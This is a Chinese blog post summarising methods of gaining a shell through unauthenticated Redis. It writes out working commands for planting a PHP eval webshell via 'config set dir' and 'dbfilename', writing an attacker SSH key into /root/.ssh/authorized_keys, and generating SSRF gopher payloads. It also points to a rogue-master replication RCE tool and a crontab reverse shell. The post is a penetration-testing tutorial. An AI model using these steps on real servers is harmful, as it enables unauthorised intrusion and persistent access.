当前位置: 首页 > ops >正文

Redis反弹Shell

这里我来总结几种Redis反弹Shell的方法

一、利用Redis写WebShell

前提条件

开了web服务器,并且知道路径,还需要有文件读写增删改查的权限

条件比较苛刻,但是满足条件上传就会简单一点,我们直接将文件写入www目录下,完了使用工具连接即可。

语句:

redis:6379> config set dir /var/www/html/

redis:6379> config set dbfilename shell.php

redis:6379> set x "<?php phpinfo();eval($_POST['ant']);?>"

redis:6379> save
 

二、利用crontab反弹Shell

前提条件:可以建立连接,下载上传文件

这个就是利用计划文件,将木马写到计划文件,等待计划任务执行时解析木马,然后反弹Shell。

详情可见

Web-Machine-N7靶机攻略-CSDN博客文章浏览阅读280次,点赞3次,收藏6次。摘要:本文记录了从靶机部署到成功获取FLAG的渗透测试过程。首先通过VirtualBox启动靶机并配置桥接网络,使用arp-scan和gobuster等工具进行信息收集,发现exploit.html文件上传点。在尝试上传木马未果后,通过查阅资料找到隐藏的enter_network/admin.php目录。通过破解Cookie(经过URL解码、base64解码和MD5解密)成功绕过管理员验证,最终拼接获得完整FLAG。整个过程展示了从信息搜集到权限提升的完整渗透测试思路。 https://blog.csdn.net/fristchoice/article/details/149613502?spm=1001.2014.3001.5501

三、SSRF结合Redis未授权Getshell

这个按道理来说已经不是反弹Shell了,而是写入GetShell,但是既然总结了,我就把他也放到这里来。这个主要就是使用kali中的Gopherus来生成载荷。命令如下:

python2 gopherus.py --exploit redis

紧接着将其进行URL编码,然后访问即可。

最后使用工具连接即可。

四、Redis密钥写入ssh

前提条件

Redis服务使用root账号启动,且可未授权登录;服务器开放了SSH服务,而且允许使用密钥登陆,即可远程写入一个公钥,直接远程登录服务器。

步骤:

生成密钥公钥:ssh-keygen -t rsa

防止乱码:(echo -e "\n\n";cat id_rsa.pub;echo -e "\n\n") > key.txt

导入内容到redis数据库:cat key.txt | redis-cli -h 192.168.1.74 -a 123456 -x set ssh

              -a为登陆密码,可选择不写,回显为OK

接下来保存到目录:

redis:6379> config set dir /root/.ssh
redis:6379> config set dbfilename authorized_keys 
redis:6379> save
这时就完成了,直接ssh连入即可:ssh @ IP

五、主从复制RCE

漏洞存在于4.x、5.x版本中,Redis提供了主从模式,主从模式指一个redis作为主机,其他为备份机,主从数据相同,从机去读,主机写。在Redis4.x之后,通过外部扩展,可以实现redis中实现一个新的redis命令,构造恶意.so文件,在两个redis实例设置主从模式,redis主机实例可以通过FULLRESYNC同步文件到从机上,在从机家在恶意so文件,从而执行文件。

工具下载:nullhttps://github.com/n0b0dyCN/redis-rogue-server

六、通过修改系统配置文件执行命令

例如写入/etc/profile,/etc/bashrc等系统环境配置文件,在用户登陆时自动执行反弹shell(需要等待用户登录才可以触发)

这个方法我没有试过,只是搜索找到了这个方法,日后如果用到的话会返回来补充,现在就写到这里。欢迎大家补充讨论。

http://www.xdnf.cn/news/16484.html

相关文章:

  • 【Java基础面试题】Java特点,八种基本数据类型
  • 《Java 程序设计》第 8 章 - Java 常用核心类详解
  • 用了Flutter包体积增大就弃用Flutter吗?包体积与开发效率,这两者之间如何权衡?
  • 设计模式实战:自定义SpringIOC(亲手实践)
  • 【VUE3】搭建项目准备工作
  • 04动手学深度学习(下)
  • 【SpringMVC】MVC中Controller的配置 、RestFul的使用、页面重定向和转发
  • 图论(BFS)构造邻接表(运用队列实现搜索)
  • 【动态规划 | 路径问题】动态规划方法:解决路径问题的最佳策略
  • Java学习-----JVM的垃圾回收算法
  • mac电脑如何关闭防火墙
  • Datawhale AI夏令营记录
  • 第二十二节 MATLAB转置向量、MATLAB追加向量
  • v4l2_ctrl_handler_setup()函数详解
  • JavaWeb 新手学习路线:从零到全栈开发,系统掌握企业级 Web 开发技能
  • 智能制造--EAP设备自动化程序
  • Ubuntu “apt”安装
  • 搜索引擎高级搜索指令大全(Google、百度等浏览器通用)
  • 枚举策略模式实战:优雅消除支付场景的if-else
  • ANSYS Products 2025 R2 安装配置全流程教程(图文详解)
  • Kafka 顺序消费实现与优化策略
  • 【智慧物联网平台】编译jar环境 Linux 系统编译IOT物联网——仙盟创梦IDE
  • MySQL SQL性能优化与慢查询分析实战指南:新手DBA成长之路
  • 接口测试核心概念与实践指南
  • Error reading config file (/home/ansible.cfg): ‘ACTION_WARNINGS(default) = True
  • ABP Framework + EF Core 迁移命令失败问题完整解决记录
  • 开发笔记 | 实现人物立绘的差分效果
  • 全面解析MySQL(4)——三大范式与联合查询实例教程
  • LeetCode|Day28|67. 二进制求和|Python刷题笔记
  • 【MySQL学习|黑马笔记|Day1】数据库概述,SQL|通用语法、SQL分类、DDL